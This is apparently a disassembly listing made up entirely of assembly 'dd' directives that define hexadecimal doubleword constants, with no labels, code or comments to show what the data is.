dd 0C2CE70EBh, 4759AA5Eh, 8D4383CAh, 5C019B61h, 626FA6Dh
dd 34EB3382h, 0CC3A7BDEh, 33F150F6h, 0FB7CE684h, 1470628Ch
dd 86350EE2h, 0EA35D1E6h, 8057BBC0h, 3B16BFA9h, 9A9400D5h
dd 0E0B980CFh, 2BE4B4FAh, 4E33879h, 52A86F0Dh, 0E6741B79h
dd 0E389DB74h, 76BE0D9Dh, 98805D34h, 42A6096Eh, 5A8FAFD1h
dd 62350911h, 5F778Ch, 895F03EEh, 0D9DF6C3Ah, 4D745986h
dd 0FE53ECC0h, 7D8460D2h, 20EE6F83h, 0DFD5C2C7h, 78293D88h
dd 0C5D53F33h, 50AD43EDh, 1C94216Ah, 926DE8A7h, 82C3C3B9h
dd 9F2CB90Eh, 0B09C5D96h, 0E9018A21h, 81F3A600h, 90F81E46h
dd 0A6439BE6h, 0B91872FFh, 7ED86F9Ah, 53A71907h, 0C6B18FD1h
dd 3353C7C4h, 28060719h, 5201D3E2h, 0D3C3EC1Bh, 0AFB41AC9h
dd 21CFD33Dh, 2AA81D9Bh, 0C91D2447h, 3219A1E9h, 8A39AD9h
dd 13632EFDh, 0E344D4A9h, 10206D3Ah, 38BB3630h, 0BE6DF2BCh
dd 0AAEC0504h, 27578AD8h, 616298F4h, 76CC7C45h, 7AB6F6B4h
dd 47B91E09h, 7D80DDD2h, 662A1303h, 1D541160h, 3949B181h
dd 0D95F995Eh, 1F19384Bh, 2C81450Dh, 204E7754h, 7081FA12h
dd 7BEC932Dh, 8A9BA9B8h, 90DFB91Ah, 462E76E2h, 98249123h
dd 0CBA26788h, 327F0BA1h, 0B9717BE4h, 0EBD1986Ch, 4DEF681Ah
dd 0ADC42E5Eh, 0A445A566h, 0E04B5377h, 6C8566h, 2BA554E1h
dd 0E2B2779Eh, 311B6082h, 0D2766752h, 100D744Fh, 828065C7h
dd 5436E436h, 2CD54ED8h, 2FC31161h, 0FE5030E3h, 0F493F29Bh
dd 0DC59C035h, 0DF1F31E7h, 0E8AE163Fh, 0A893F871h, 16651894h
dd 0A8EA2351h, 1CAD083Bh, 8A48D372h, 0C26D53B3h, 1F439817h
dd 56ADCF6Dh, 0B8A0DC66h, 0A802C0B1h, 0E821BB19h, 0FACE69D3h
dd 252C1C21h, 63A6B75Fh, 8974E447h, 345229F0h, 82242E32h
dd 989563E7h, 0C7ACBB48h, 534C2E27h, 0FB03E071h, 6413B323h
dd 0CC7E913Eh, 0BA5BBAB8h, 889D7D2Ch, 0CB7E905Fh, 0E9EBD4D1h
dd 0E37F10E1h, 28CCF941h, 6A1EF9CFh, 0C641FEFCh, 230102B0h
dd 0D563D241h, 51B4E85Fh, 2296BD07h, 4D417EA3h, 5248A116h
dd 487B740Dh, 41CB3BD3h, 19551920h, 509DE9EDh, 0E00DFD3Ah
dd 52BFB767h, 8E31D4EAh, 5AC48CCBh, 0FE766249h, 0A03B609Eh
dd 786FFE4Bh, 0F8B3308Bh, 59F35ECAh, 0A40AA51Eh, 0A5311331h
dd 0A9B564D3h, 15AF25FFh, 0A4B6A1Ch, 7AF880B5h, 0F31E4EFBh
dd 0E4375499h, 7BBCFFF9h, 50D5AB0Fh, 8987A0ABh, 0E1026F0Dh
dd 17F31111h, 43EEB0D8h, 9A4B44BCh, 53F834Ah, 0DD9F0A44h
dd 40E9C876h, 7AB3F051h, 0D4B4888Ah, 0EF975ACDh, 0EBBE6555h
dd 3E46A525h, 0C4604290h, 4D4F085Dh, 8FFAFA8Fh, 0E8A420DAh
dd 85B61673h, 93D177F1h, 0B79FEC65h, 0C7C255C5h, 3A0A0CADh
dd 39EA0004h, 12AD9395h, 0F708428Ah, 0CC4BAAEAh, 0E5BE124Ch
dd 384754A1h, 0A1AF464Bh, 227CA8F9h, 59DE1D3Ah, 0B2A00076h
dd 7E962C4Fh, 70BFA515h, 0CA16D9FEh, 5703E79Dh, 0CEBDE5A9h
dd 98F3FE77h, 88FEE2F5h, 0D4886AA3h, 727F6D7h, 6AE239A0h
dd 8966A30Fh, 0AB742FA2h, 0DB8CF893h, 380DB771h, 2AEF3B87h
dd 0E415B834h, 0A19171A6h, 0BE320F4Dh, 0F1F7CAF2h, 56A44D6Ch
dd 0A73F0252h, 7CE622B5h, 0B86B7E56h, 0F71943C9h, 0AF7CA83Eh
dd 0EAA90964h, 0F0245B3Dh, 0B32CDD53h, 5A76BCF7h, 0BEF1266Fh
dd 210C0ACEh, 3C643354h, 0A50CFDA8h, 9538A028h, 5B5B102Dh
dd 1DF1DBADh, 221F0F8Ah, 26F90553h, 0E267824Ch, 0B1C88535h
dd 0D8FF29EAh, 91E8BD68h, 348225ECh, 1B803EB7h, 3D70A3E0h
dd 3B20D74Dh, 4E861729h, 0B5BDF18h, 0A1049A4Ch, 0AE51F2EAh
dd 0E26A0093h, 0E2A4A02Bh, 0DE4A3792h, 297FC2Ch, 59A111F4h
dd 0BA6979B5h, 0DEAAF2F9h, 7A269FFBh, 3D9C61DFh, 75BB0C2Fh
dd 0D9FF5ACEh, 78809026h, 0FD81A9C5h, 73B434F0h, 2A96DD69h
dd 0A6CDB359h, 0C2638A4Ah, 29DCEEBFh, 53A731CFh, 41854075h
dd 8FD59DC7h, 0B2F7DF9Ah, 5F35928Fh, 3D037919h, 5EDAB8D3h
dd 71B38A32h, 0C117E9BDh, 0A8A0E52Ch, 31C98F2Fh, 78FC96A2h
dd 545438EBh, 5F0A0C22h, 14EBD55h, 2427E8A4h, 0BE5D064Dh
dd 6D5FAA1Dh, 61791EE7h, 66246A48h, 99DDDB1Bh, 47133C55h
dd 72ADC378h, 0EB9CEB68h, 5158AE8Ah, 0F379C677h, 36640E99h
dd 2DA87EC8h, 95E7D170h, 0C945C467h, 0C4E0873Bh, 0C67F33DAh
dd 5F7935C3h, 0A728F01h, 74F7AFAFh, 16915B25h, 5BBB0137h
dd 54D02B45h, 0A2ABD9DFh, 12A5C28Eh, 0B7CACDD1h, 0B72C9680h
dd 6BAA50C4h, 495CEA11h, 0E60AF44Ah, 210A6D38h, 73EB0FDBh
dd 953F6580h, 0A2798048h, 0D8E74834h, 479AF707h, 0F7176210h
dd 0C649BDE5h, 6DD90C89h, 5929A2DAh, 0D786CCD0h, 0BFEF40DFh
dd 0C1EAEACCh, 0C03EA641h, 0ACE06A2Ah, 0AE297CD7h, 267DE939h
dd 0C2548711h, 3CE12941h, 49906BE1h, 22BE730Ah, 6DF4E9DEh
dd 6336438Fh, 68583154h, 56BF12DEh, 179C4714h, 40A0A399h
dd 70247851h, 31490152h, 0C5E92EF2h, 32EDC786h, 333F6803h
dd 9784C611h, 6D2AFABDh, 0B05998D9h, 0D679B9FBh, 97B4A65h
dd 8B08F02Fh, 52FB0FE0h, 51DB381Bh, 0CBB40E3Fh, 27B7C834h
dd 6906CA38h, 0B789C926h, 0BA452891h, 0FE4B49D6h, 803761B5h
dd 0AAE3E680h, 0F3204493h, 0B98802D2h, 4FB0CACFh, 285BB284h
dd 1982BB2Bh, 612F69B1h, 0D24653B8h, 0A4F4D805h, 1169E1A0h
dd 0EEE5DAC3h, 8E6AA2B0h, 37D5ADA6h, 5A384E76h, 7DCB9965h
dd 3BFEECE2h, 0D695C48Ch, 99AC07B6h, 246EA9FEh, 451BF900h
dd 7F5D6916h, 4740FB7Eh, 0E504666Ch, 8192C712h, 0E7DC2EADh
dd 4FEA2E4Fh, 0F31A31FDh, 259C146Eh, 0D8906B3Eh, 4BC3A31Dh
dd 9732DD71h, 0A77F3528h, 34420CCDh, 0CA52C079h, 0A275C1B5h
dd 2D1C1634h, 9D8F741Bh, 0ED156348h, 6B28D978h, 3711669h
dd 96E8E67Fh, 9FDF8EA4h, 473B0F09h, 64AC4FABh, 0B0FD8D53h
dd 0B51ED125h, 0B397BC90h, 0E29756B0h, 0A273CFEAh, 93E6ABAFh
dd 0D28A93C4h, 0A9D0E132h, 0F1C6877Ch, 5B72AC3Ch, 9F028396h
dd 298E9FA3h, 647A3790h
dd 0F0377904h, 290EC18Eh, 37576836h, 19787Dh, 0E19190E5h
dd 28E8270h, 83086E6Bh, 8CCCE517h, 5C53756Dh, 0E1AF78ADh
dd 0B8DC17FDh, 5936A73Ah, 0BBCADBCBh, 0C4F66F35h, 0C17A79D1h
dd 0D5582E69h, 7C7117A0h, 4955E9E4h, 1A7F4E27h, 5CCE4293h
dd 2772632Ch, 3FB803B7h, 0BD707619h, 62A0EBDAh, 8C5F5BC0h
dd 0D45E8DF2h, 9B171582h, 20D4002Fh, 72737B65h, 59AD56D9h
dd 0B1BF6AD1h, 0DC72B79Dh, 0EE6225A4h, 0C2AEA47h, 0A6E06DDCh
dd 579235CDh, 30D19C93h, 0BE5A85D1h, 0EAA68086h, 5536C57Ch
dd 1EA06F13h, 0D7D32505h, 524FEE4Ah, 0D46CA547h, 5228FE1Fh
dd 8AF04875h, 13199B78h, 95CB779Ch, 34DAD911h, 0CCEAFE7Bh
dd 27E55721h, 0F8C44C2h, 32784609h, 851264Ch, 6CAAAC04h
dd 82A37A97h, 4484DE32h, 397A181h, 0DDDA422Bh, 0E635E863h
dd 0A059ED8Ch, 7A5C30D8h, 0FE81EFEEh, 97009A3Ah, 61084AB2h
dd 517807BFh, 0A574CDEBh, 0B42D4146h, 534C0B98h, 0D9A4062Ch
dd 57947832h, 347D71C1h, 0E1C8E2Fh, 85B55A5Fh, 8523D235h
dd 0A5F3768Ch, 60DA893Fh, 3DA9341h, 0FCFD5BCAh, 4D9CF84Dh
dd 0C9C13A29h, 626B6273h, 55E5FF6Ah, 0B8DACF02h, 0C83E6D0Ah
dd 0A2600BE6h, 441D7213h, 8C5E5Fh, 3147394Ch, 0F7EEF982h
dd 5B110181h, 7D56AE0Bh, 1874FDA3h, 32E9DE0Ch, 0DA8691BDh
dd 778B238Ch, 0C13CAE5Fh, 81840F44h, 0DE056CD8h, 27F8FEB5h
dd 3B9F6E47h, 0AD26F65Eh, 416B2CAh, 838511DCh, 0FAC2B540h
dd 0BC49ADBDh, 758EA6AAh, 7485D2FBh, 428B5F59h, 73AE4262h
dd 1A4E2432h, 5918873h, 6C97B624h, 0DFAA6E85h, 602AE6C7h
dd 0F540F04Bh, 5A08DA6Bh, 4B11B1ADh, 42CD1D35h, 5A61DCA1h
dd 0AB7E7102h, 18DE6417h, 0D32FEE25h, 0A5BE8FBAh, 67C012D0h
dd 21322179h, 2A37EAC3h, 0D0B6C24Ch, 67D20CB5h, 709F80B1h
dd 0FC51FAAEh, 95DBA7B8h, 8B355927h, 0D2DD5433h, 916DE7CBh
dd 1207F860h, 4910039Dh, 16825B62h, 788F7A38h, 3A88FA80h
dd 27A05685h, 0A192DCACh, 60D7372Fh, 0EAA26600h, 0FB12B77Ah
dd 7CB36A75h, 8A7C3A68h, 487966E8h, 643BFA68h, 0DC6DCA3h
dd 0EA379090h, 73415D19h, 0C2AC5E71h, 0CDB19E65h, 0CDE50F8Eh
dd 0BC961165h, 8B7CE76h, 0E4A93B2Bh, 29803CF7h, 7ADF9E13h
dd 0DD19397Dh, 0BD28BB54h, 97830DC2h, 0C69C359Dh, 0D03A7290h
dd 8C5D9EDh, 7CD748DCh, 9E4D40Ch, 10DE2D98h, 0A5CAC1C9h
dd 747641D8h, 2B247B57h, 5E1A7D35h, 6F49A676h, 0BE544936h
dd 97284F8Dh, 20ED2191h, 363B2F09h, 139D941Fh, 0FE7B5B6Eh
dd 0DFB156A5h, 68BE064Eh, 0DAC4E59Fh, 40671C7Bh, 8BB12C74h
dd 22E5CAFEh, 0E753CA7h, 763A7F22h, 0D31C34EEh, 0AA095A53h
dd 0D991F811h, 8D0450CCh, 729FB818h, 662A221h, 6B9A9399h
dd 774E3DF7h, 645CFA27h, 1E0C80F3h, 6289D650h, 0A46967F8h
dd 0CEB1AE41h, 0A14830BFh, 6B093E55h, 1654804Ch, 6AA8C703h
dd 9D4E85EFh, 82CCD2EDh, 0C6306FAAh, 70B6D82Ah, 445BCA9Ch
dd 25D7C9B3h, 0C1B1064h, 951EC8B7h, 5AFEDCF6h, 38D4E3F9h
dd 0B41C6E8Ch, 0ADFED8DAh, 0E63B927Eh, 0B35C19CCh, 4F285CBCh
dd 289C0A03h, 9EB45D8Ch, 8B4113DCh, 0BD7974B1h, 844B56FCh
dd 6BDB127Ah, 801816D5h, 0FBEEB459h, 0BCEB0F31h, 0E2B06E9Ah
dd 8C54AA0Fh, 57124BEAh, 599D1C28h, 93499C9Ah, 8C443CE3h
dd 797B243Bh, 0C070CA8Fh, 0E01DCC63h, 2B919BD1h, 5F778744h
dd 7363DC01h, 15FDAEAFh, 2B1E27FCh, 33C1F2FEh, 608945A3h
dd 36AA4978h, 640A2BE6h, 0F10BD8B8h, 68BD1AA8h, 6F3DEA6Dh
dd 456D115Eh, 0F71930EAh, 3A532C7Ah, 6D9FB93Eh, 0CBE1030h
dd 2AC24E07h, 4903E7BDh, 7823C012h, 0BE12F732h, 2A64A48Dh
dd 668C53EAh, 0F1D8B3EFh, 71EC5AEBh, 9B177DA0h, 87419699h
dd 0AE0BA639h, 11317971h, 821413EDh, 0AAFC4777h, 0E6944F30h
dd 68E4C907h, 79DC6247h, 0D56E5F64h, 7BCF15D3h, 0B2BDE0B0h
dd 274E37AEh, 0E356EED7h, 6187B271h, 4EEAF9DAh, 0AFDC20E5h
dd 2490982Fh, 0DD543421h, 95ED7C4Dh, 7AFEB8B2h, 0B8EF4138h
dd 15920875h, 243D3699h, 0F676711h, 26F27A1Ch, 205BD9Ah
dd 0B8D802C9h, 1278E039h, 792FCBBBh, 0E80768C1h, 0C4000C0h
dd 7010E42Ah, 0F5E430C3h, 0ECFF927Bh, 4DFB9F74h, 9FE08F86h
dd 2AB21F5h, 3F545626h, 0F5DEB889h, 27E3EE9Dh, 0C307805Eh
dd 0EC0028CBh, 0C691DE46h, 0ABDAAF9Dh, 70898F76h, 244A5144h
dd 7F144880h, 0ED1780CDh, 17B2D7EAh, 2C81C211h, 0E55A2A32h
dd 10725ECDh, 3B5866B9h, 1EDE1FF3h, 2A066F0Bh, 0F03DAA3Fh
dd 25FF0132h, 89E15BDCh, 35C7FDB4h, 0A3722D79h, 0E58D1689h
dd 7465AF89h, 0DB75FB31h, 0EA236A4Ah, 0D39A767Fh, 4088736h
dd 0BFB3B776h, 0A0256FF2h, 0BE95EA17h, 1040CAD4h, 1EFD8218h
dd 0BFC75BB1h, 69E0B17Fh, 0D8571BB8h, 304A3C4Eh, 7B2705B3h
dd 0D9BF4153h, 0D14CDBC7h, 7A73438h, 4A454A5Fh, 0B32E78EBh
dd 0B6DEFA8Fh, 51E070Bh, 21CE331Eh, 0F5D98CE0h, 4E7F75CBh
dd 2252DB5h, 0BBEAE108h, 17C06BCDh, 1679CBAAh, 525F1EE3h
dd 0FA87318Dh, 6F409E54h, 0D976569Dh, 0E735AF9Ah, 125995A8h
dd 0BCBEE931h, 7130E54Fh, 0BFC2C19Fh, 0FF2AF0D6h, 36C4B5BCh
dd 3A59E8BDh, 8D5D8488h, 0E60AE203h, 0C16E42F8h, 34CFB7BAh
dd 20BE406Dh, 3492F10Dh, 0DC916DF3h, 0F490F3CAh, 0ACB31D42h
dd 0E1863A04h, 0ED09D4CBh, 3F148EF6h, 0CD768434h, 0AD68CCF0h
dd 5C7FF835h, 98FEFF99h, 922390B1h, 6CB9CCECh, 0BA89370Fh
dd 6A000378h, 0F3CB5B52h, 0CCCE8FC7h, 3B921436h, 0D6D5C09Dh
dd 39D247Bh, 0C8357E3Eh, 8CDA5861h, 5B169B1Ah, 87C6B17Dh
dd 4995E437h, 0D62F05C5h, 129DD738h, 0BB11115Fh, 5F13A425h
dd 0E3AD6BFDh, 0A52B9EE1h, 0DC4767FFh, 0EC00B811h, 519C93D8h
dd 7376EFA0h, 538CD341h, 50CFBEF1h, 62B58D9Dh, 1B927730h
dd 0F9392046h, 0C8541C29h, 0A74DAA7Fh, 1F3365A2h, 18D8152Ch
dd 1A2FA43Eh, 92B9D16Ch, 8D46ACCFh, 0ABAB7994h, 69B867C3h
dd 629A2125h, 0F7F4CA0Ah, 5B8787F1h, 1A662D46h, 70BE3EABh
dd 1FDEECC6h, 0E61E0B57h, 719517C4h, 10D215E3h, 14E0922Fh
dd 351D0C5Bh, 28FE9EDAh, 0A36909ABh, 26E4A26Ch, 34D81F42h
dd 9B98CA13h, 0A83E21EDh, 1948C5D6h, 11260662h, 7F9057B4h
dd 10984EF2h, 68383C3Fh, 18F1E95Bh, 0A81798D1h, 67BB066Ch
dd 0F4992A11h, 7A6C11ECh, 0A455C3F0h, 52C22E64h, 0DD9D8164h
dd 617397EEh, 8E13D5FFh, 3D6817BCh, 0B0E3EBBBh, 0AA6F8439h
dd 0D83CD327h, 0C6F7DF28h, 992ECFBEh, 447824Ah, 0A7C1DC55h
dd 0DFF0A44Eh, 0D729185Dh, 0A1771DBFh, 0B2E6F4D4h, 25BF8F83h
dd 2971769Dh, 2E41F5F5h, 0BCB8B2D8h, 815EB57Dh, 3C7608CBh
dd 36938538h, 5A620D71h, 473DA326h, 841AB612h, 0A9F8029Dh
dd 0BC615069h, 31DC68C2h, 0BC82C06Dh, 1C6C3100h, 7E94E600h
dd 0CFF6633Fh, 635C8002h, 0F5BA84D6h, 56F15652h, 0B5C563A0h
dd 8ADD5594h, 0D6D502B6h, 0EFDB3A0h, 5055A010h, 159B96BBh
dd 0FC48B8BFh, 1420F581h, 0B0BF9B56h, 0C27A630h, 0EDC76132h
dd 35A5AC45h, 880A1F03h, 0BC010F3Ch, 66D61096h, 46C292D6h
dd 16F21327h, 39AB3072h, 8BF026FBh, 9A742F63h, 0DBEFA4F1h
dd 4229F1A2h, 0B75D9A93h, 3F9D0470h, 8DE2306Fh, 3999CBD2h
dd 0BF0F421Bh, 0DDDBD518h
dd 0E5B3AF08h, 19CA26EBh, 0D0C67807h, 90569AF9h, 0E24D00BCh
dd 0FC95A374h, 0A53A8048h, 0B9E10F0Ch, 4533397Fh, 0F430BE4Ah
dd 14D3A1E9h, 48B6D1C6h, 0AC899BF9h, 0F32A5960h, 73A7628Ch
dd 3A973490h, 59B6C8AFh, 1301DD80h, 38BA8461h, 0C72C9233h
dd 631A6CE0h, 0FCDDA72Eh, 269B77CEh, 56AC26E7h, 8EF84FA0h
dd 5B087242h, 0FFE1E94h, 22EEB106h, 0FFAEF85Dh, 3AF49B6Fh
dd 0E8CAF98Ch, 377452E2h, 88396752h, 95A404D1h, 0D22038DDh
dd 0E00CC7F1h, 0B1F3B5FFh, 3C26D952h, 261B916Eh, 1AEA6052h
dd 1EFCA7C9h, 0FE7D754Bh, 0AA8A760Ch, 78465473h, 92340D5Dh
dd 0D53F9744h, 0AB07DBEBh, 609C39C3h, 0C18752B5h, 81E19F0Ch
dd 6E310B8h, 258FD287h, 7C81D5Eh, 16C02038h, 6E667D2Bh
dd 41CEDE1Fh, 98959089h, 771CC4CBh, 8EC5CC00h, 25A70AD2h
dd 0A32357EDh, 6DF99297h, 0E42E55FAh, 5BC1BF71h, 0E1ECF6AEh
dd 0B3D6D192h, 170615A0h, 0AAEA9E9Dh, 0B104B8B3h, 21877DD0h
dd 476B4A54h, 4788A8E2h, 51DB2FA5h, 0FADBE0FCh, 0E2A3381Eh
dd 0F0B89E64h, 0F1CEE1A7h, 0BA95C98Fh, 0F9943609h, 87FAA170h
dd 5C30958Bh, 1B0FA199h, 0E08929DCh, 1809EA5Dh, 2EFFFB40h
dd 5140E6A2h, 0A848C769h, 61AE039Ah, 0AC4BA307h, 0CA49F5EAh
dd 3747AB76h, 0FC944EA1h, 2F213248h, 7ECFCAEDh, 0F5B4551h
dd 2F7405ACh, 26EB9859h, 9E360C9Dh, 2D9A0910h, 37262268h
dd 0A156F620h, 0F4D43C81h, 276B8425h, 2E9892FDh, 0AF4F322Fh
dd 0C8500074h, 0D0CE842Ch, 8FC5BB29h, 41B75944h, 256EFA9Fh
dd 0C88A0A01h, 0E1381A9Fh, 0D197EB33h, 50F2AC58h, 0F27C7DC2h
dd 1C3726D2h, 0C509DBA3h, 2626044Dh, 0C4FA3B8Dh, 0FA476EEBh
dd 8287D148h, 0D8E73054h, 2EF6C2Ah, 4A0D00CEh, 1906A6D8h
dd 40A498C3h, 0D59B5089h, 16697D63h, 0D9C006E3h, 0FFB43CD5h
dd 99918677h, 0F8638E1Dh, 0C61BE5DAh, 0E4113864h, 0F4E72F21h
dd 3CBBEFD6h, 825EABABh, 3CA6BA94h, 0F5804205h, 46860014h
dd 0F472461Eh, 5F8F6CC5h, 5BDE1891h, 0D0E9ED85h, 3E374039h
dd 0D5C3E8A8h, 5C58B3ABh, 2254DB78h, 28C6EA4Ah, 34E6269Eh
dd 38BF8CF7h, 0B57B83F7h, 232A3AB3h, 70FE6BB9h, 569475B5h
dd 390EBCBBh, 3D8E8A60h, 0D241765Ah, 9E040AA3h, 5308DFD3h
dd 81F7D284h, 0A84D999Bh, 0D189E1FFh, 0C94C6F98h, 172A3F16h
dd 0BF3C99FCh, 88418C96h, 0E0F8B179h, 73E79E17h, 9915414Ah
dd 8030636Ch, 2D54349Dh, 732C264Ah, 6BF85916h, 0C86C3ED9h
dd 19D27300h, 3BFF1D61h, 0F8452520h, 6628B1D3h, 53BE9ADCh
dd 423EB857h, 0B289DB3Fh, 0A8785F42h, 0F098940Eh, 0FDB67FCFh
dd 15C13E2Eh, 0F2F0DBAAh, 0EFAD5FFCh, 17F212B7h, 0D3ED7194h
dd 93A3ED29h, 58C191F8h, 50C261CAh, 45A94DBAh, 0AE424C34h
dd 141D9F75h, 11D2150Bh, 2C181CFh, 0B4E05114h, 0EDE47A1Eh
dd 0CB16166Bh, 8036E631h, 5C3C07D3h, 0BC892A87h, 180E43B3h
dd 88CC02Fh, 2563402h, 2A535359h, 9B8C2C33h, 0B75A3D80h
dd 0B6E52550h, 0A1341215h, 0F74A752Eh, 48F368CDh, 0FD73C6B8h
dd 0A0240D44h, 8F48AC74h, 2E073C20h, 0EB43635Bh, 0B5BBE749h
dd 24F3F366h, 71CF5E9Dh, 9C478E80h, 7D1FE120h, 530A9AACh
dd 6703AAB8h, 0DD848F22h, 0E1AC5EDDh, 0D4FF044Ah, 2E48C14h
dd 2D148B88h, 4D522053h, 946A9C20h, 5C5C38A1h, 0BCFFC7A2h
dd 0DEDA02EFh, 0C9F33D85h, 4B08FC59h, 26AE4965h, 12C57D76h
dd 0D96E527Bh, 19273224h, 0C185AC4Dh, 814BEAD4h, 94318D61h
dd 0F6F10BFEh, 0A970E7DDh, 0F31D8D5Fh, 0D3748266h, 9483BF85h
dd 0C8C2A9Dh, 0F1D3AC49h, 0D2BB7DE0h, 59727085h, 7F087F26h
dd 94EBB496h, 0D358446Fh, 0AC56330Bh, 1FE72DE5h, 859640CEh
dd 0A8670C46h, 62B8F88Ah, 0A5BB94E4h, 2522C3ACh, 80226156h
dd 60AABA85h, 0DD86334Ch, 0EDA62A19h, 66FC046Bh, 89735BB2h
dd 0E22752EFh, 0C52A9A52h, 25F03E05h, 67AADD46h, 8B49409Fh
dd 3DEC7487h, 0EF66F062h, 220C103Dh, 8EE802B2h, 74F7FF2Fh
dd 8CF9A893h, 6675924Dh, 178DF82Bh, 5AC44B67h, 95AA8C65h
dd 8DA0940Fh, 37C7A7BEh, 93947D3Ah, 0C00B22EBh, 690D87B3h
dd 9D508F7Fh, 0F525CAE6h, 35458A57h, 0A6C0FEACh, 0C4671FE7h
dd 98227E6Eh, 8837F570h, 0C4AC6BCDh, 7F61E01Eh, 29E51C97h
dd 65D71823h, 6B1D9220h, 0B7F107D8h, 16AE0EE7h, 0B3F2E7C2h
dd 5A850B17h, 99521601h, 9D960CBDh, 92788ECh, 42D54380h
dd 511C8C63h, 2523F4DAh, 90690583h, 186397EDh, 4BD8126Ah
dd 0B04378BCh, 9E78040Dh, 8493C27Bh, 0A1249720h, 6BB8752Dh
dd 2BA74B78h, 8AB0FCBh, 0AA258055h, 7DDDD79Eh, 6BC129BFh
dd 20E29E7Fh, 0EBB57B2Fh, 0CB0B8FC9h, 0CDAF308Ah, 16A54BFAh
dd 38E0CFEFh, 0AD3579ACh, 4B480E84h, 0AF435384h, 2F9295B6h
dd 408EF525h, 627620E5h, 0B0D53F98h, 51CD6358h, 6AEBDAB5h
dd 793C438Dh, 0CCDC3DBCh, 5A5F58BDh, 36FCB635h, 0BDA5124Dh
dd 0EF503B96h, 6FF89ADDh, 0EDA51954h, 5C107C89h, 52A433Fh
dd 0C2E75D88h, 0ECEEDD1h, 0FB9A91A7h, 9CD0FB6Bh, 9B2509EAh
dd 0CB71F665h, 2124BD0Eh, 0A67155A7h, 739FAD95h, 0C967B036h
dd 8E8E2E72h, 522C66AAh, 2294C9CAh, 0F7DF870Ch, 0F934AED5h
dd 876C00Fh, 3577A3AAh, 72E09ECFh, 64E1CB89h, 0FBBBF84h
dd 7EEF76C1h, 0A0BC9E0Bh, 59E897D7h, 0D8670071h, 6F7FF506h
dd 0B735C482h, 0F82D1E70h, 1B55158Bh, 5D0AA8DDh, 0F85F63AAh
dd 0D1D34FE4h, 38E608DAh, 0EB0F9F80h, 0F4AE9D55h, 89BE39FDh
dd 0D39B3C73h, 30E658B4h, 5D74130Eh, 0C3580837h, 0A1C6EC96h
dd 9A6AEB9Ch, 0AC8A3CDh, 0FA4F85EAh, 0D8B84394h, 844691E3h
dd 0DCBD1525h, 60EDCF30h, 43DCB731h, 0E1850EA1h, 24AB38A0h
dd 0EFDA97FFh, 35D4CBC0h, 5CBE7A6Ah, 67150DABh, 2B23C29h
dd 99D16FE7h, 0A6DD73BAh, 5FC2CE0Dh, 40E06E52h, 0B664557Fh
dd 4D73CDA9h, 0E6E16FA6h, 0F8D8337h, 0DCB5881Ah, 5335CA7h
dd 0EE79D53Fh, 0C60F0078h, 0F7DA0B5Fh, 47241D94h, 0F25ACDD3h
dd 0FF6EDBFBh, 0EDAAA420h, 781DCB93h, 74154864h, 0A0E3520Dh
dd 86BA736h, 0B93AB5FDh, 175B0295h, 4710FE42h, 0A6A027B2h
dd 6CCC4416h, 749BE4C7h, 94C07050h, 9F502A9Fh, 6F927D6Bh
dd 0E11A11EAh, 0AA294FADh, 53FE1720h, 7F3A1335h, 0E6AA38A1h
dd 57825476h, 0B638C483h, 67FC7484h, 6D316709h, 0F3BDA681h
dd 511FF14Fh, 0F27A963Fh, 653BDC71h, 0A26C9ED4h, 0C1903C89h
dd 7544A0C0h, 7D2C796Fh, 10ED2D4Dh, 3CB3F132h, 8A1EA682h
dd 798FFBDh, 0CA6C091Fh, 0C4962BF0h, 30A61C7Fh, 994C1D38h
dd 5D7E2E27h, 0E7314873h, 8296B084h, 0E2C04D07h, 1BC6B53h
dd 0AEDB3C42h, 76551D24h, 0CA35DD90h, 0C40AFA00h, 121C3510h
dd 0DCCDFAC4h, 302E94F3h, 0E27B4C3Eh, 7C60F264h, 608BB658h
dd 0F2AFC91Bh, 0ED09D1E3h, 74677693h, 8662D693h, 0C6E13629h
dd 3ADEC705h, 5FE2784Ah, 0FB6F72F9h, 5DFB510Ah, 14DDC368h
dd 9A2E26D6h, 0CEA0D7A4h, 38E69E05h, 1303C403h, 1EADB02Ch
dd 0BE5E86AEh, 671BAC74h, 330104C6h, 0FBEC6425h, 0D40EA1F5h
dd 7F6B36D6h, 0C13CA60h, 0DCDAE085h, 0F76BCA3Dh, 0CA535AB0h
dd 830774FEh, 133CC8D2h, 8A59C951h, 0B58EABA8h, 667D27C9h
dd 6505B0DCh, 32EE4D7Bh, 0BBB39ECAh, 0AC13F1EDh, 97229427h
dd 0FF57E4A8h, 0EF2FBAA0h
dd 6132FD7Eh, 5E35E93Bh, 3ACBBE93h, 93452585h, 9C396E6Ah
dd 1D90BD96h, 7EC3D471h, 3DC08CC6h, 0DFC70908h, 67120B1Ch
dd 0EA2BABC0h, 9148B785h, 0A47949B4h, 39528870h, 3E7B324Bh
dd 1B40C48Bh, 86379054h, 0A706B4C3h, 4A71B406h, 0E4940E20h
dd 0D09CEC8Fh, 7CA9454Dh, 89D4E1ADh, 61D716D3h, 0C5BF4608h
dd 6CA79AE9h, 6B3E88D8h, 0B29627EBh, 8A11345Bh, 0E2D6CC51h
dd 0F356EEF2h, 25BB8DB6h, 826E15Bh, 8554005Ch, 33E5BD67h
dd 0DA81229Bh, 0F8B30BA0h, 8D57EAEAh, 0D83D2236h, 1699BC7Ch
dd 474B4F46h, 37291F1Eh, 0B68A3551h, 44407EDFh, 0B7502EC5h
dd 1BC6428Ah, 0D9423B0Dh, 2C64BC7h, 4FBD4973h, 0F675E4FBh
dd 0C6BA4D70h, 45B9E40h, 13AC4D14h, 0C2F23D1h, 0B45D0AD9h
dd 8C1EE993h, 0C9955CAAh, 244E83A7h, 0FFED287Bh, 0CC15467Ah
dd 0F4FCF34Fh, 2B5DFF0Fh, 55F35F9Dh, 7C457F09h, 99566611h
dd 0AA782272h, 96BA33FDh, 0E650692Fh, 9DE98BDDh, 80A04D92h
dd 43D2D394h, 75C4D83Bh, 2F6EED32h, 0F6D09707h, 0F49C53D3h
dd 89F24EB3h, 6FE8F463h, 1ED0D21Eh, 1041B26Dh, 0FDF5D607h
dd 0EC26838Ch, 57D65E8Ah, 5864B3B1h, 0A043C0A2h, 8612A1F7h
dd 0F5FF62D3h, 10CED4E0h, 8CEDB9Fh, 0DAE6F9EBh, 4576B936h
dd 0F9AAA808h, 0C056DF7Bh, 4944F110h, 425B735h, 220FFDB6h
dd 0B002CFC1h, 35072508h, 4BD60719h, 0ECEF8BA7h, 0EADCD484h
dd 0EF6408A4h, 0E9ABB0ACh, 0A7CE3E11h, 215028Ch, 0B734D00h
dd 381ECE8Dh, 2FC85796h, 0BB4B6EECh, 0BD57669Bh, 87C7FFDCh
